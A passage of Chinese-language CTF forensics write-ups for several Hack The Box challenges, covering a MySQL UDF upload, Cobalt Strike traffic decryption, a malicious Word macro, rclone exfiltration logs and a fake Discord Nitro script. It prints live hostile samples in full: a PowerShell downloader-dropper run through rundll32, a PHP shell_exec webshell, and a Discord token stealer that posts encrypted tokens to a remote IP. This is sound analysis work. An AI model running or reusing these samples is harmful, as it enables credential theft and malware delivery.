分类Forensics难度Easy知识点Mysql流量简单二进制Writeup一个流量包，几乎所有的协议都是mysqlINSERT INTO xQGgYA VALUES ('AAAAED4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAAAABAEAAAAAAAAChA') INSERT INTO xQGgYA VALUES ('AAAAAAAAR0NDOiAoVWJ1bnR1IDExLjMuMC0xdWJ1bnR1MX4yMi4wNCkgMTEu') INSERT INTO xQGgYA VALUES ('My4wAAAuc2hzdHJ0YWIALm5vdGUuZ251LnByb3BlcnR5AC5ub3RlLmdudS5i') INSERT INTO xQGgYA VALUES ('dWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lv') INSERT INTO xQGgYA VALUES ('bgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC5w') <SNIP>.....<SNIP> SELECT FROM_BASE64(GROUP_CONCAT(qza SEPARATOR '')) FROM xQGgYA INTO DUMPFILE '/usr/lib/mysql/plugin/lvg6H1g.so'追踪tcp流（只有一个）,导出或者使用linux 命令strings capture.pcap -n 88 > 1.txt之后手动调格式，删除掉多余的内容$ base64 1.txt > cmd $ file cmd cmd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c46fa39a398d05572b7bf20eeefd227cd32de6ee, stripped是个二进制文件使用ida反编译，或者使用strings$ strings -n 40 2 curl -s https://files.pypi-install.com/packages/callback/SFRCe2NodW5rNV80bmRfdWRmX2Ywcl9icjM0a2Y0NTd9 GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0解码base64$ echo SFRCe2NodW5rNV80bmRfdWRmX2Ywcl9icjM0a2Y0NTd9 | base64 -d HTB{chunk5_4nd_udf_f0r_br34kf457}Foggy Intrusion 分类Forensics难度EasyWriteup<?php echo shell_exec(base64_decode('[binary]')); ?>解码powershell.exe -C "$output = Get-ChildItem -Path C:; $bytes = [Text.Encoding]::UTF8.GetBytes($output); $compressedStream = [System.IO.MemoryStream]::new(); $compressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Compress); $compressor.Write($bytes, 0, $bytes.Length); $compressor.Close(); $compressedBytes = $compressedStream.ToArray(); [Convert]::ToBase64String($compressedBytes)"执行结果：a = "FchbCsAgDAXRrWQF2VN8XzAajLTS1bf9GTiTxFuYshJBK905SMeTFx1RMxKzjigbczi3rZ0C9hAFR3eKcxRUtmZU5MJH/kIYKZ//vg==" b = "[binary]" c="[binary]" d = "[binary]" e="S0ktzi7JL9AtyM3PzDFIiSktLjIwBAA="依次解密dashboard img webalizer xampp applications.html bitnami.css config.php favicon.ico index.php ==================== anonymous apache cgi-bin contrib htdocs img install licenses locale mailoutput mailtodisk mysql php src tmp webdav apache_start.bat apache_stop.bat catalina_service.bat catalina_start.bat catalina_stop.bat ctlscript.bat filezilla_setup.bat filezilla_start.bat filezilla_stop.bat killprocess.bat mercury_start.bat mercury_stop.bat mysql_start.bat mysql_stop.bat passwords.txt properties.ini readme_de.txt readme_en.txt service.exe setup_xampp.bat test_php.bat uninstall.dat uninstall.exe xampp-control.exe xampp-control.ini xampp_shell.bat xampp_start.exe xampp_stop.exe ==================== [General] installdir=C:\xampp base_stack_name=XAMPP base_stack_key= base_stack_version=8.1.25-0 base_stack_platform=windows-x64 [Apache] apache_server_port=80 apache_server_ssl_port=443 apache_root_directory=/xampp/apache apache_htdocs_directory=C:\xampp/htdocs apache_domainname=127.0.0.1 apache_configuration_directory=C:\xampp/apache/conf apache_unique_service_name= [MySQL] mysql_port=3306 mysql_host=localhost mysql_root_directory=C:\xampp\mysql mysql_binary_directory=C:\xampp\mysql\bin mysql_data_directory=C:\xampp\mysql\data mysql_configuration_directory=C:\xampp/mysql/bin mysql_arguments=-u root -P 3306 mysql_unique_service_name= [PHP] php_binary_directory=C:\xampp\php php_configuration_directory=C:\xampp\php php_extensions_directory=C:\xampp\php\ext ==================== <?php define('DB_SERVER', 'db'); define('DB_USERNAME', 'db_user'); define('DB_PASSWORD', 'HTB{f06_d154pp34r3d_4nd_fl46_w4s_f0und!}'); define('DB_DATABASE', 'a5BNadf'); $mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_DATABASE); if ($mysqli->connect_error) { die("Connection failed: " . $mysqli->connect_error); } $mysqli->set_charset('utf8'); ?> ==================== desktop-pmoil0d\usr01 ====================python 脚本import base64 import zlib def decode_deflate_base64(base64_string): # Base64解码 compressed_bytes = base64.b64decode(base64_string) # 使用zlib解压缩（Deflate压缩算法） decompressed_bytes = zlib.decompress(compressed_bytes, -zlib.MAX_WBITS) # 转换为UTF-8字符串 output = decompressed_bytes.decode('utf-8') return output result = decode_deflate_base64(base64_string)或者Cyberchef#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Raw_Inflate(0,0,'Adaptive',false,false)powershell 解密# Base64 解码 $base64String = "" $compressedBytes = [Convert]::FromBase64String($base64String) # 创建一个内存流并将压缩字节数据写入 $compressedStream = [System.IO.MemoryStream]::new($compressedBytes) # 使用 DeflateStream 进行解压 $decompressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Decompress) # 将解压数据读取到一个内存流 $decompressedStream = [System.IO.MemoryStream]::new() $decompressor.CopyTo($decompressedStream) # 获取解压后的字节数组 $decompressedBytes = $decompressedStream.ToArray() # 将解压后的字节数组转换回 UTF-8 字符串 $output = [Text.Encoding]::UTF8.GetString($decompressedBytes) # 输出原始文本内容 $output Strike Back 分类:Forensics难度:Medium用到的脚本https://github.com/DidierStevens/BetaCS使用内存进程提取key解密流量Cobalt Strike：解密流量 – NVISO 实验室 --- Cobalt Strike: Decrypting Traffic – NVISO Labs知识点Cobalt-Strike 流量分析内存进程提取解密密钥Writeup下载压缩包,解压后得到两个文件,一个流量包(capture.pcap)和一个内存文件(freestream.dmp). ├── capture.pcap └── freesteam.dmp $ file freesteam.dmp freesteam.dmp: Mini DuMP crash report, 17 streams, Fri Nov 19 20:45:38 2021, 0x469925 type流量包可以从http流导出一个文件,freesteam.exe$ r2 freesteam.dmp0x00000000 0x9000 0x00400000 0x9000 ---- ---- C:\Users\npatrick\Downloads\freesteam.exe0x00000000 0x9000 0x00400000 0x9000 ---- ---- C:\Users\npatrick\Downloads\freesteam.exe可以看到,freesteam.dmp是和freesteam.exe相关联的. 将freesteam.exe上传到微步云沙箱分析 ![](file-20241207125817372.png) 检测到CobaltStrike查看流量包请求方式为POST,路径和参数submit.php?id=xxx,这是cs流量的一个特征cs的流量都是被加密了的,解密就需要key.参考文章CS使用内存进程提取key解密流量,可以从内存文件中提取key按照流程,先从流量包中提取一段加密的数据$ python /opt/Beta/cs-parse-http-traffic.py -k unknown capture.pcap | grep -i get -A 2 | grep '^.\{1,200\}$' HTTP response (for request 66 GET) Length raw data: 48 a4940d6ff0a59421822467d80d1b620bc7ecfa661c452a85c0486b56aa752e908c4aeb3f2f0a64d9c02d7025713867ee -- HTTP response (for request 214 GET) Length raw data: 80 7076675dbed9bafd4ffcc36ed8d9eecc2bfed095de2439e347aea08157e01978eb7b7cab86bea3d97e7062c9990bf7407ee88eab9ee07bc9761a6371323f285bba8c2d1d4b4a04a09655d675e3ac7e8e -- HTTP response (for request 234 GET) Length raw data: 80 46e10ae1e8c22141cc1242189a988f329cd1e1e4b6176a12b2de7dfb406b511907b78f39b04a139bfa61fed4fdc19dc3800c4e48b9a3a8e97c30dd532ebdd90b1c0bccb346e85a455af0abdb29da4527get请求的数据较短优先提取长度短的经过测试,这三条数据都可以使用cs-extract-key.py 成功提取到HMAC和AES任意选择一个来提取keypython3 /opt/Beta/cs-extract-key.py -t a4940d6ff0a59421822467d80d1b620bc7ecfa661c452a85c0486b56aa752e908c4aeb3f2f0a64d9c02d7025713867ee freesteam.dmp File: freesteam.dmp Searching for AES and HMAC keys Searching after sha256\x00 string (0x4048a) AES key position: 0x00447f81 AES Key: 3ae7f995a2392c86e3fa8b6fbc3d953a HMAC key position: 0x0044b2a1 HMAC Key: bf2d35c0e9b64bc46e6d513c1d0f6ffe SHA256 raw key: bf2d35c0e9b64bc46e6d513c1d0f6ffe:3ae7f995a2392c86e3fa8b6fbc3d953a Searching for raw key Searching after sha256\x00 string (0x441a49) AES key position: 0x00447f81 AES Key: 3ae7f995a2392c86e3fa8b6fbc3d953a HMAC key position: 0x0044b2a1 HMAC Key: bf2d35c0e9b64bc46e6d513c1d0f6ffe Searching for raw key-t TASK 加密的数据(十六进制)使用提取到的HMAC和AES来解密流量python3 /opt/Beta/cs-parse-http-traffic.py -k bf2d35c0e9b64bc46e6d513c1d0f6ffe:3ae7f995a2392c86e3fa8b6fbc3d953a capture.pcap使用-e选项可以将payload提取到本地,文件命名格式为payload-*.vir$ $file *.vir payload-00f542efefccd7a89a55c133180d8581.vir: PDF document, version 1.4, 1 page(s) payload-1e4b88220d370c6bc55e213761f7b5ac.vir: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 4 sections payload-2211925feba04566b12e81807ff9c0b4.vir: data payload-851cbc5a118178f5c548e573a719d221.vir: PE32+ executable (DLL) (GUI) x86-64, for MS Windows, 5 sections payload-b0cfbef2bd9a171b3f48e088b8ae2a99.vir: PE32+ executable (DLL) (console) x86-64, for MS Windows, 5 sections payload-b25952a4fd6a97bac3ccc8f2c01b906b.vir: ASCII text, with no line terminators第一个是pdf,修改后缀打开后获得flagMBCoin分类: Forensics难度: Medium知识点VBa 宏混淆按位异或WriteUpoletools$ olevba mbcoin.doc Sub AutoOpen() Dim QQ1 As Object Set QQ1 = ActiveDocument.Shapes(1) Dim QQ2 As Object Set QQ2 = ActiveDocument.Shapes(2) RO = StrReverse("\ataDmargorP\:C") ROI = RO + StrReverse("sbv.nip") ii = StrReverse("") Ne = StrReverse("IZOIZIMIZI") WW = QQ1.AlternativeText + QQ2.AlternativeText MyFile = FreeFile Open ROI For Output As #MyFile Print #MyFile, WW Close #MyFile fun = Shell(StrReverse("sbv.nip\ataDmargorP\:C exe.tpircsc k/ dmc"), Chr(48)) waitTill = Now() + TimeValue("00:00:05") While Now() < waitTill Wend MsgBox ("Unfortunately you are not eligable for free coin!") End End SubAny.Run 上传分析doc，得到一段被混淆的vbaDim WAITPLZ, WS, k, kl WAITPLZ = DateAdd(Chr(115), 4, Now()) Do Until (Now() > WAITPLZ) Loop LL1 = "$Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://priyacareers.htb/u9hDQN9Yy7g/pt.html'',''C:\ProgramData\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;" LL2 = "$Nanoz='JOOEX'.replace('JOO','I');sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://perfectdemos.htb/Gv1iNAuMKZ/jv.html'',''C:\ProgramData\www2.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;" LL3 = "$Nanox='JOOEX'.replace('JOO','I');sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://bussiness-z.htb/ze8pCNTIkrIS/wp.html'',''C:\ProgramData\www3.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;" LL4 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''http://cablingpoint.htb/ByH5NDoE3kQA/vm.html'',''C:\ProgramData\www4.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;" LL5 = "$Nanoc='JOOEX'.replace('JOO','I');sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://bonus.corporatebusinessmachines.htb/1Y0qVNce/tz.html'',''C:\ProgramData\www5.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;" HH9="po" HH8="wers" HH7="h" HH6="ell " HH0= HH9+HH8+HH7+HH6 Set Ran = CreateObject("wscript.shell") Ran.Run HH0+LL1,Chr(48) Ran.Run HH0+LL2,Chr(48) Ran.Run HH0+LL3,Chr(48) Ran.Run HH0+LL4,Chr(48) Ran.Run HH0+LL5,Chr(48) Wscript.Sleep(5000) MM1 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww1.d'+'ll') -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'gl'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'KO'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'X'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}" MM2 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww2.d'+'ll') -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'pc'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Au'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'P'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}" MM3 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww3.d'+'ll') -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'WG'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'OL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'s'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}" MM4 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww4.d'+'ll') -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'oN'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'Py'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'G'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}" MM5 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww5.d'+'ll') -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'IE'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'YL'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'a'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) {[System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}" Set Ran = CreateObject("wscript.shell") Ran.Run HH0+MM1,Chr(48) WScript.Sleep(500) Ran.Run HH0+MM2,Chr(48) WScript.Sleep(500) Ran.Run HH0+MM3,Chr(48) WScript.Sleep(500) Ran.Run HH0+MM4,Chr(48) WScript.Sleep(500) Ran.Run HH0+MM5,Chr(48) WScript.Sleep(15000) OK1 = "cmd /c rundll32.exe C:\ProgramData\www.dll,ldr" OK2 = "cmd /c del C:\programdata\www*" OK3 = "cmd /c del C:\programdata\pin*" Ran.Run OK1, Chr(48) WScript.Sleep(1000) Run.Run OK2, Chr(48) Run.Run OK3, Chr(48)按位异或MM1 = "$b = [System.IO.File]::ReadAllBytes((('C:GPH'+'pr'+'og'+'ra'+'mdataG'+'PHwww1.d'+'ll') -CrePLacE'GPH',[Char]92)); $k = ('6i'+'I'+'gl'+'o'+'Mk5'+'iRYAw'+'7Z'+'TWed0Cr'+'juZ9wijyQDj'+'KO'+'9Ms0D8K0Z2H5MX6wyOKqFxl'+'Om1'+'X'+'pjmYfaQX'+'acA6'); $r = New-Object Byte[] $b.length; for($i=0; $i -lt $b.length; $i++){$r[$i] = $b[$i] -bxor $k[$i%$k.length]}; if ($r.length -gt 0) { [System.IO.File]::WriteAllBytes((('C:Y9Apro'+'gramdat'+'a'+'Y'+'9Awww'+'.d'+'ll').REpLace(([chAr]89+[chAr]57+[chAr]65),[sTriNg][chAr]92)), $r)}"key不一样可以从流量包中提取出两个被加密的文件,分别是pt.html 和vm.html写个python脚本解密def xor_decrypt(file_path, output_path, key): """ 解密函数，读取加密文件并通过XOR解密生成解密后的文件。 :param file_path: 加密文件的路径 :param output_path: 解密后保存的文件路径 :param key: 解密使用的密钥字符串 """ # 将密钥转换为字节数组 key_bytes = key.encode('utf-8') # 读取加密文件内容 with open(file_path, 'rb') as encrypted_file: encrypted_data = encrypted_file.read() # 初始化解密数据列表 decrypted_data = bytearray() # 按字节解密 for i in range(len(encrypted_data)): decrypted_byte = encrypted_data[i] ^ key_bytes[i % len(key_bytes)] # XOR操作 decrypted_data.append(decrypted_byte) print(decrypted_data[:100]) # with open(output_path, 'wb') as decrypted_file: # 将解密数据写入输出文件 with open(output_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) # 示例用法 if __name__ == "__main__": # 加密文件路径 # encrypted_file_path = "C:/ProgramData/www1.dll" encrypted_file_path = "/mnt/e/htb/Challenge/MBCoin/vm.html" # 解密后的文件路径 decrypted_file_path = "/mnt/e/htb/Challenge/MBCoin/vm_decode.html" # 密钥，与脚本中的密钥一致 decryption_key = "6iIoNoMk5iRYAw7ZTWed0CrjuZ9wijyQDjPy9Ms0D8K0Z2H5MX6wyOKqFxlOm1GpjmYfaQXacA6" # 调用解密函数 xor_decrypt(encrypted_file_path, decrypted_file_path, decryption_key) print(f"解密完成，解密文件保存到: {decrypted_file_path}") encrypted_file_path = "/mnt/e/htb/Challenge/MBCoin/pt.html" # 解密后的文件路径 decrypted_file_path = "/mnt/e/htb/Challenge/MBCoin/pt_decode.html" # 密钥，与脚本中的密钥一致 decryption_key = "6iIgloMk5iRYAw7ZTWed0CrjuZ9wijyQDjKO9Ms0D8K0Z2H5MX6wyOKqFxlOm1XpjmYfaQXacA6" # 调用解密函数 xor_decrypt(encrypted_file_path, decrypted_file_path, decryption_key) print(f"解密完成，解密文件保存到: {decrypted_file_path}")解密后ida分析vm_decode.html找到flag或者运行cmd.exe /c rundll32.exe vm_decode.html ldr得到flag弹窗rundll32.exe: 运行和调用动态链接库（DLL）中的函数。Packet_Cyclone分类: Forensics难度: Easy知识点evtx Event 日志分析chainsaw使用sigma 规则WriteUprclone是一个文件同步和云存储管理工具.攻击者可以使用rclone进行数据外泄露(Exfiltration)压缩包,解压后连个文件夹. ├── Logs └── sigma_rulesLogs目录下是 evtx 日志文件, sigma_rules目录下是sigma规则,如title: Rclone config file creation description: Detects Rclone config file being created status: experimental date: 2021/05/26 author: Aaron Greetham (@beardofbinary) - NCC Group references: - https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/ tags: - attack.exfiltration - attack.t1567.002 falsepositives: - Legitimate Rclone usage (rare) level: high logsource: product: windows service: sysmon category: file_event detection: file_selection: EventID: 11 TargetFilename: - 'C:\Users\*\.config\rclone\*' condition: file_selection主要关注detection字段chainsaw使用方法# 使用题目给的Sigma规则进行检测,查找可疑的行为 $ chainsaw hunt -s sigma_rules -m /opt/chainsaw/mapping/sigma-event-logs-all.yml -o hunt.txt Logs # 忽略大小写 查询字符 rclone 字符 $ chainsaw search rclone -i Logs/ -o rclone.txt重点关注 rclone.txt的几行内容CommandLine: '"C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" config create remote mega user majmeret@protonmail.com pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI'rclone 配置云存储的命令config create remote mega: 创建一个新的远程存储配置（remote），并将其命名为 mega。mega 指的是 Mega 云存储服务user majmeret@protonmail.com：指定云存储账户的用户名pass FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI：指定密码 CommandLine: '"C:\Users\wade\AppData\Local\Temp\rclone-v1.61.1-windows-amd64\rclone.exe" copy C:\Users\Wade\Desktop\Relic_location\ remote:exfiltration -v'rclone 工具进行文件复制操作。remote:exfiltration: exfiltration 是该远程存储中的一个目录或路径提交记录What is the email of the attacker used for the exfiltration process? (for example: name@email.com) > majmeret@protonmail.com [+] Correct! What is the password of the attacker used for the exfiltration process? (for example: password123) > FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI [+] Correct! What is the Cloud storage provider used by the attacker? (for example: cloud) > mega [+] Correct! What is the ID of the process used by the attackers to configure their tool? (for example: 1337) > 3820 [+] Correct! What is the name of the folder the attacker exfiltrated; provide the full path. (for example: C:\Users\user\folder) > C:\Users\Wade\Desktop\Relic_location [+] Correct! What is the name of the folder the attacker exfiltrated the files to? (for example: exfil_folder) > exfiltration [+] Correct! [+] Here is the flag: HTB{Rcl0n3_1s_n0t_s0_inn0c3nt_4ft3r_4ll}Fake_Boost分类： Forensics 难度： EasyFake BoostIn the shadow of The Fray, a new test called "Fake Boost" whispers promises of free Discord Nitro perks. It's a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.解题过程协议分级，先关注数量少的，追踪TCP流，在流3中发现一段被混淆的ps1（导出 - HTTP对象也可以发现这些东西）$jozeq3n = "[binary]" ; $s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ; $LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ; $U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;运行前几行，输出$LOaDcODEoPX3ZoUgP2T6cvl3KEK,即可得到源码或者使用赛博厨子（Cyberchef),先Reverse在Base64 Decode$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda" function Steal { param ( [string]$path ) $tokens = @() try { Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object { try { $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) { $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object { $_.Matches.Value } } } catch {} } } catch {} return $tokens } function GenerateDiscordNitroCodes { param ( [int]$numberOfCodes = 10, [int]$codeLength = 16 ) $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' $codes = @() for ($i = 0; $i -lt $numberOfCodes; $i++) { $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() }) $codes += $code } return $codes } function Get-DiscordUserInfo { [CmdletBinding()] Param ( [Parameter(Mandatory = $true)] [string]$Token ) process { try { $Headers = @{ "Authorization" = $Token "Content-Type" = "application/json" "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36" } $Uri = "https://discord.com/api/v9/users/@me" $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers return $Response } catch {} } } function Create-AesManagedObject($key, $IV, $mode) { $aesManaged = New-Object "System.Security.Cryptography.AesManaged" if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC } elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB} elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS} elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB} elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB} $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aesManaged.BlockSize = 128 $aesManaged.KeySize = 256 if ($IV) { if ($IV.getType().Name -eq "String") { $aesManaged.IV = [System.Convert]::FromBase64String($IV) } else { $aesManaged.IV = $IV } } if ($key) { if ($key.getType().Name -eq "String") { $aesManaged.Key = [System.Convert]::FromBase64String($key) } else { $aesManaged.Key = $key } } $aesManaged } function Encrypt-String($key, $plaintext) { $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $aesManaged = Create-AesManagedObject $key $encryptor = $aesManaged.CreateEncryptor() $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length); [byte[]] $fullData = $aesManaged.IV + $encryptedData [System.Convert]::ToBase64String($fullData) } Write-Host " ______ ______ _ _ _ _ _ _ _____ _____ _____ ___ | ___| | _ (_) | | | \ | (_) | / __ \| _ |/ __ \ / | | |_ _ __ ___ ___ | | | |_ ___ ___ ___ _ __ __| | | \| |_| |_ _ __ ___ `' / /'| |/' |`' / /'/ /| | | _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \ / / | /| | / / / /_| | | | | | | __/ __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\ | | |_| | | (_) | ./ /___\ |_/ /./ /__\___ | \_| |_| \___|\___| |___/ |_|___/\___\___/|_| \__,_| \_| \_/_|\__|_| \___/ \_____/ \___/ \_____/ |_/ " Write-Host "Generating Discord nitro keys! Please be patient..." $local = $env:LOCALAPPDATA $roaming = $env:APPDATA $part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf" $paths = @{ 'Google Chrome' = "$local\Google\Chrome\User Data\Default" 'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\" 'Opera' = "$roaming\Opera Software\Opera Stable" 'Firefox' = "$roaming\Mozilla\Firefox\Profiles" } $headers = @{ 'Content-Type' = 'application/json' 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36' } $allTokens = @() foreach ($platform in $paths.Keys) { $currentPath = $paths[$platform] if (-not (Test-Path $currentPath -PathType Container)) {continue} $tokens = Steal -path $currentPath $allTokens += $tokens } $userInfos = @() foreach ($token in $allTokens) { $userInfo = Get-DiscordUserInfo -Token $token if ($userInfo) { $userDetails = [PSCustomObject]@{ ID = $userInfo.id Email = $userInfo.email GlobalName = $userInfo.global_name Token = $token } $userInfos += $userDetails } } $AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=" $payload = $userInfos | ConvertTo-Json -Depth 10 $encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload try { $headers = @{ 'Content-Type' = 'text/plain' 'User-Agent' = 'Mozilla/5.0' } Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData } catch {} Write-Host "Success! Discord Nitro Keys:" $keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16 $keys | ForEach-Object { Write-Output $_ } 得到了第一段flag: SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf, 进行base64解码AES_Key_base64: Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=同时在http流中找到密文[binary]进行AES解密from Crypto.Cipher import AES import base64 aes_key_base64 = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=" aes_key = base64.b64decode(aes_key_base64.encode()) def 